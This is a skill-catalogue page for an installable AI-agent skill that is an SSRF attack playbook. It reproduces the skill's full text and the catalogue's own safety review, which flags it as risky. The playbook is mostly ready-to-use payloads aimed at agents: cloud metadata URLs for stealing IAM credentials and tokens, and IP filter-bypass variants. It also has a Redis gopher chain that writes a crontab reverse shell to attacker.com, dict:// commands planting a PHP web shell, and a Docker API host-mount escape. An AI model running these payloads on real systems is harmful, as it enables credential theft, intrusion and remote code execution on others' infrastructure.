ssrf-server-side-request-forgery
Also load SCENARIOS.md when you need: - WebLogic SSRF (CVE-2014-4210) — `uddiexplorer/SearchPublicRegistries.jsp` + `operator` parameter + `%0D%0A` CRLF to inject Redis commands - SSRF → internal Redis → write crontab reverse shell complete payload chain - DNS Rebinding deep dive — TTL=0 trick, init…
Install / Use
npx skills add yaklang/hack-skills --skill ssrf-server-side-request-forgeryInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of ssrf-server-side-request-forgery
ssrf-server-side-request-forgery scores 93/100 on our quality scale, 366th of 1,108 Security skills we index (top 34%).
Its SKILL.md is 11 KB long, well organised into 32 sections with 21 code examples: a thorough specification that gives an agent plenty to work with.
With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so ssrf-server-side-request-forgery is actively maintained.
- Our last check on 2026-10-26 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
ReviewOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to fetch cloud metadata endpoints (AWS IMDS, GCP, Azure, Kubernetes) to steal IAM credentials, tokens, and SSH keys.
AI review: risky
- The skill instructs the agent to fetch cloud metadata endpoints (AWS IMDS, GCP, Azure, Kubernetes) to steal IAM credentials, tokens, and SSH keys.
- It provides full RCE chains, including a Redis gopher payload that writes a crontab reverse shell and Docker API commands to create a privileged host-mounted container for host escape.
- It directs blind SSRF exfiltration via Burp Collaborator/interact.sh and DNS rebinding to bypass filters and leak internal network topology.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-09-30. Automated pattern scan on 2026-09-29. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
ssrf-server-side-request-forgery compared with similar skills
All 4 of these similar skills score higher than ssrf-server-side-request-forgery; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| ssrf-server-side-request-forgery (this skill)by yaklang | 93 | 2.3k | 2mo ago | SKILL.md |
| x402by browser-use | 100 | 121.0k | 3d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 149.0k | 6d ago | SKILL.md |
Frequently asked questions
- How do I install ssrf-server-side-request-forgery?
- Run
npx skills add yaklang/hack-skills --skill ssrf-server-side-request-forgery. The install tabs above show the steps for each supported agent. - Which AI agents does ssrf-server-side-request-forgery work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is ssrf-server-side-request-forgery safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review judged it risky (a second model did not confirm it as malicious): The skill instructs the agent to fetch cloud metadata endpoints (AWS IMDS, GCP, Azure, Kubernetes) to steal IAM credentials, tokens, and SSH keys. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is ssrf-server-side-request-forgery still maintained?
- The repository was last updated about 2 months ago, so ssrf-server-side-request-forgery is actively maintained.
Skill content
View source on GitHubname: ssrf-server-side-request-forgery description: >- SSRF playbook. Use when the server fetches URLs, resolves hostnames, imports remote content, or can be driven toward internal networks, cloud metadata, or secondary protocols.
SKILL: Server-Side Request Forgery (SSRF) — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert SSRF techniques. Covers URL filter bypass, cloud metadata endpoints, protocol exploitation, blind SSRF detection, and chaining to RCE. Base models know basic 169.254.169.254 — this file covers what they miss. For real-world CVE chains, DNS Rebinding deep dives, K8s SSRF, and SSRF → Redis → RCE full exploitation, load the companion SCENARIOS.md.
0. QUICK START
Extended Scenarios
Also load SCENARIOS.md when you need:
- WebLogic SSRF (CVE-2014-4210) —
uddiexplorer/SearchPublicRegistries.jsp+operatorparameter +%0D%0ACRLF to inject Redis commands - SSRF → internal Redis → write crontab reverse shell complete payload chain
- DNS Rebinding deep dive — TTL=0 trick, initial-legit→second-internal resolution,
rbndr.usservice - Kubernetes SSRF (CVE-2020-8555) and bypass (CVE-2020-8562) via DNS rebinding
- SSRF through PDF/screenshot generators —
<iframe>and<img>in HTML-to-PDF - Gopher protocol full TCP injection — Redis, MySQL, FastCGI payloads via Gopherus
- URL parser confusion for filter bypass —
#@,\@,%00@, IPv6-mapped IPv4
Advanced Reference
Also load URL_PARSER_TRICKS.md when you need:
- URL parser differential table: Python urllib vs requests vs Java URL vs PHP parse_url vs Node url.parse vs Go net/url
- Full cloud metadata endpoint catalog (AWS IMDSv1/v2, GCP, Azure, DigitalOcean, Alibaba Cloud, Oracle Cloud, Kubernetes, Hetzner, OpenStack)
- gopher:// payload recipes for Redis, MySQL, SMTP, FastCGI, Memcached (with encoding rules)
- DNS Rebinding detailed attack flow with TTL manipulation and TOCTOU analysis
- PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJS SSRF patterns and exfiltration techniques
If you just found a parameter that fetches a URL, perform first-pass confirmation here directly.
First-pass payloads
http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/
Host validation bypass families
| Validation Type | Try |
|---|---|
| blocks localhost string | 127.0.0.1, 127.1, [::1] |
| blocks direct IP only | internal DNS name, decimal/octal/hex IP forms |
| allowlist by prefix | username part, subdomain confusion, redirect chain |
| follows redirects | benign external URL redirecting to internal target |
| parses once, fetches twice | mixed encoding or DNS rebinding style targets |
Protocol routing
| Goal | Protocol / Target |
|---|---|
| cloud credentials | metadata HTTP endpoints |
| internal HTTP admin | http://127.0.0.1:port/ |
| Redis / raw TCP style abuse | gopher:// |
| local file read candidate | file:// |
| dictionary / banner tests | dict:// |
1. FINDING SSRF SURFACE
Look for any parameter containing DNS names, IP addresses, or URLs:
loc= url= path= endpoint=
imageUrl= dest= redirect= uri=
callback= load= file= resource=
link= src= data= ref=
Less obvious SSRF vectors:
- PDF/screenshot generation (URL to capture)
- Webhook configuration fields
- Import/export via URL (CSV import, RSS/Atom feeds)
- OAuth redirect URI (sometimes triggers server-side fetch)
X-Forwarded-Host/X-Real-IPheaders in proxy chains- XML
DOCTYPEwith external entity (file://,http://) - GraphQL
@linkdirective (federation) - Content-Type:
text/htmlpages parsed for<link>preload headers
2. BASIC CONFIRMATION METHODOLOGY
Step 1: Supply your Burp Collaborator / interact.sh URL
→ Check server initiates outbound connection (full SSRF confirmed)
Step 2: If no callback → test time-based (open port = fast, closed = slow/reset):
Compare response time for:
http://192.168.1.1:22 (likely open → fast)
http://192.168.1.1:9999 (likely closed → slow/timeout)
Step 3: Try accessing localhost services:
http://127.0.0.1:8080
http://127.0.0.1:22
http://127.0.0.1:6379 (Redis)
http://127.0.0.1:9200 (Elasticsearch)
http://127.0.0.1:5984 (CouchDB)
http://127.0.0.1:2375 (Docker daemon — critical!)
http://127.0.0.1:4840 (internal admin)
3. CLOUD METADATA ENDPOINTS — MUST-TRY
AWS EC2 IMDSv1 (no auth required — critical)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
AWS IMDSv2 (token required — but check if SSRF can GET the token)
Step 1: PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
Step 2: GET http://169.254.169.254/latest/meta-data/
Header: X-aws-ec2-metadata-token: TOKEN
If SSRF supports custom headers → full IMDSv2 bypass.
Google Cloud
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Headers: Metadata-Flavor: Google
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
Alibaba Cloud
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
Kubernetes Service Account
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets
4. IP ADDRESS FILTER BYPASS TECHNIQUES
When 169.254.169.254, 127.0.0.1, localhost are blocked:
Localhost Variants
127.0.0.1
127.1
127.0.1
127.000.000.001 ← octal padding
0x7f000001 ← hex
2130706433 ← decimal (0x7f000001)
0177.0000.0000.0001 ← octal
[::] ← IPv6 loopback
[::1] ← IPv6 loopback
[::ffff:127.0.0.1] ← IPv4-mapped IPv6
169.254.169.254 Variants
169.254.169.254
2852039166 ← decimal
0xa9fea9fe ← hex
0251.0376.0251.0376 ← octal
[::ffff:169.254.169.254] ← IPv6
169.254.169.254.nip.io ← DNS rebinding service
Private Network Ranges
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7 ← IPv6 private
Bypass Filter via DNS Input
If filter checks DNS-resolved IP (not hostname):
http://attacker.com/ ← DNS A record points to 169.254.169.254
Use DNS rebinding: initial lookup returns valid IP → passes filter → second request returns internal IP.
5. URL SCHEME ATTACKS
When http:// is allowed or weakly filtered:
file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp ← reveals internal network ARP table
file:///proc/net/tcp ← open network connections
dict://127.0.0.1:6379/INFO ← Redis INFO command via dict://
gopher://127.0.0.1:6379/_INFO%0d%0a ← Redis via gopher
gopher://127.0.0.1:9200/ ← Elasticsearch
sftp://attacker.com:11111/ ← triggers SFTP connection (credential hash)
ldap://attacker.com:389/ ← triggers LDAP bind
ftp://attacker.com/ ← triggers FTP connection
Redis Gopher SSRF (full RCE potential)
gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
6. BLIND SSRF DETECTION
When response doesn't reflect fetched content:
- Burp Collaborator / interact.sh: check for DNS + HTTP request from server
- Pingback/webhook abuse: configure application's own webhook to your URL
- Timing analysis: Internal open port vs closed port response time difference
- Error analysis: Different error messages for "host not found" vs "connection refused" vs "timeout" reveal internal network topology
7. INTERNAL SERVICE EXPLOITATION
Docker API (2375 unauthenticated)
http://127.0.0.1:2375/v1.24/containers/json ← list containers
http://127.0.0.1:2375/v1.24/images/json ← list images
# Create privileged container → escape to host:
POST http://127.0.0.1:2375/v1.24/containers/create
{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}
Elasticsearch (9200 no-auth default)
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*
Redis (6379 — no-auth common)
dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVE
Internal Admin Panels
http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator ← Spring Boot actuator (exposed endpoints)
http://127.0.0.1:9000/actuator/env
http://127.0.0.1:9000/actuator/heapdump
8. SSRF + FILTER BYPASS DECISION TREE
SSRF parameter found?
├── Try http://169.254.169.254/ directly → blocked?
│ ├── Try decimal/hex/octal variants
│ ├── Try IPv6 variants [::ffff:169.254.169.254]
│ ├── Try DNS rebinding (nip.io, custom NS)
│ └── Try redirect: attacker.com → 169.254.169.254 (302)
│
├── Try http://127.0.0.1/ → blocked?
│ ├── Try 127.1 / 127.0.1 / 0x7f000001 / 2130706433
│ ├── Try localhost → might not be blocked
│ └── Try IPv6 [::1]
│
├── What protocols are allowed?
│ ├── dict:// → test Redis, Memcached
│ ├── gopher:// → full TCP data injection (target Redis/SMTP)
│ ├── file:// → local file read
│ └── sftp:// ldap:// ftp:// → network interactions
│
└── Blind SSRF → use Burp Collaborator
└── DNS-only → use DNS rebinding or SSRF with OOB DNS
9. THE SSRF-FILTER MINDSET
From zseano's methodology: if developers filter only 169.254.169.254 directly but not http://169.254.169.254/latest/meta-data (full path), or forget about:
- IPv6 equivalents
- DNS names that resolve to internal IPs
- Redirect chains (server follows 302 to internal IP)
Classic gap: App filters 127.0.0.1 but not 127.1 or [::1] or localhost.
Application-layer SSRF via XML (when app parses XML):
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>
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Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
